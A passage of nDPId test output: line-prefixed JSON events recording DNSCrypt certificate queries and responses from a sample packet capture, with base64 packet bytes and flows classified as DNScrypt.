+00672{"flow_id":147,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":170686,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWEfMAADQRWDSOBM0vCgAAAQG7nMoAwrdpqlqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAAVJsH+RdJNH3D0PM7heo\/dPPI3i1+4vLX8T10ivxa\/CqjJyTHnmZoOX4oJMyJ42Khrgw6i1Ft4Vh\/Rb2U7RsAXZ5P9pZAltiMSwIbLDTpLjw5sG+xMI0gbdPS4ze+O\/Bdnk\/2lkCW2IWX62bll+tm5sSrlu"} +00672{"flow_id":149,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":171174,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWEfIAADQRWDWOBM0vCgAAAQG701AAwoDiqluBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAAVJsH+RdJNH3D0PM7heo\/dPPI3i1+4vLX8T10ivxa\/CqjJyTHnmZoOX4oJMyJ42Khrgw6i1Ft4Vh\/Rb2U7RsAXZ5P9pZAltiMSwIbLDTpLjw5sG+xMI0gbdPS4ze+O\/Bdnk\/2lkCW2IWX62bll+tm5sSrlu"} +00672{"flow_id":150,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":175518,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWEfQAADQRWDOOBM0vCgAAAQG7jD8Awsf2qliBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAAVJsH+RdJNH3D0PM7heo\/dPPI3i1+4vLX8T10ivxa\/CqjJyTHnmZoOX4oJMyJ42Khrgw6i1Ft4Vh\/Rb2U7RsAXZ5P9pZAltiMSwIbLDTpLjw5sG+xMI0gbdPS4ze+O\/Bdnk\/2lkCW2IWX62bll+tm5sSrlu"} +00666{"flow_id":156,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":200790,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSHkVAADYR5+7Bv7trCgAAAQG7v9sAvjTaLymBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAzGGkyIiowp8pFszsXxkEW0y0qS06At4miIE7AyLIdZ2u5Jf0Kd+gqa\/ZnKsGDqB9\/JqMQzB5mxntdDH0TQRsCBpBtMbo6VmIyWnkxOdJSeZWPK9K\/gWr4WDPFo1HWxdqGkG0xujpWYgAAAABX1Oe6F9U8Gg="} +00666{"flow_id":152,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":200995,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSHkZAADYR5+3Bv7trCgAAAQG7jC0AvmiGLyuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAzGGkyIiowp8pFszsXxkEW0y0qS06At4miIE7AyLIdZ2u5Jf0Kd+gqa\/ZnKsGDqB9\/JqMQzB5mxntdDH0TQRsCBpBtMbo6VmIyWnkxOdJSeZWPK9K\/gWr4WDPFo1HWxdqGkG0xujpWYgAAAABX1Oe6F9U8Gg="} +00666{"flow_id":153,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":201985,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSHkdAADYR5+zBv7trCgAAAQG7gf8AvnK1LyqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAzGGkyIiowp8pFszsXxkEW0y0qS06At4miIE7AyLIdZ2u5Jf0Kd+gqa\/ZnKsGDqB9\/JqMQzB5mxntdDH0TQRsCBpBtMbo6VmIyWnkxOdJSeZWPK9K\/gWr4WDPFo1HWxdqGkG0xujpWYgAAAABX1Oe6F9U8Gg="} +00666{"flow_id":154,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":202449,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSHkhAADYR5+vBv7trCgAAAQG708cAviDrLyyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAzGGkyIiowp8pFszsXxkEW0y0qS06At4miIE7AyLIdZ2u5Jf0Kd+gqa\/ZnKsGDqB9\/JqMQzB5mxntdDH0TQRsCBpBtMbo6VmIyWnkxOdJSeZWPK9K\/gWr4WDPFo1HWxdqGkG0xujpWYgAAAABX1Oe6F9U8Gg="} +00667{"flow_id":151,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":202650,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSHkRAADYR5+\/Bv7trCgAAAQG7kdAAvmLhLy2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAzGGkyIiowp8pFszsXxkEW0y0qS06At4miIE7AyLIdZ2u5Jf0Kd+gqa\/ZnKsGDqB9\/JqMQzB5mxntdDH0TQRsCBpBtMbo6VmIyWnkxOdJSeZWPK9K\/gWr4WDPFo1HWxdqGkG0xujpWYgAAAABX1Oe6F9U8Gg="} +00666{"flow_id":155,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":205762,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSHklAADYR5+rBv7trCgAAAQG7v5AAvjUmLyiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAzGGkyIiowp8pFszsXxkEW0y0qS06At4miIE7AyLIdZ2u5Jf0Kd+gqa\/ZnKsGDqB9\/JqMQzB5mxntdDH0TQRsCBpBtMbo6VmIyWnkxOdJSeZWPK9K\/gWr4WDPFo1HWxdqGkG0xujpWYgAAAABX1Oe6F9U8Gg="} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":383,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":49186,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":383,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58113,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00504{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":383,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":48325,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":383,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":40595,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":383,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":45375,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":157,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48391,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+LxAAL0RUngKAAABMw980LE\/EPcCCHK1aUUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":383,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":45375,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":384,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":49975,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":158,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48428,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+L0gAL0RbrcKAAABMw980MM3EPcGBKwyaUIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":384,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":49975,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":385,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48442,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+L0Aub0Rk4oKAAABMw980AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":385,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":386,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":38310,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":159,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48478,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+L4gAL0RbrYKAAABMw980JWmEPcGBNnFaUABAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":386,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":38310,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":387,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":55768,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":160,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48481,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+L9AAL0RUnUKAAABMw980NnYEPcCCHK1aUMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":387,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":55768,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} 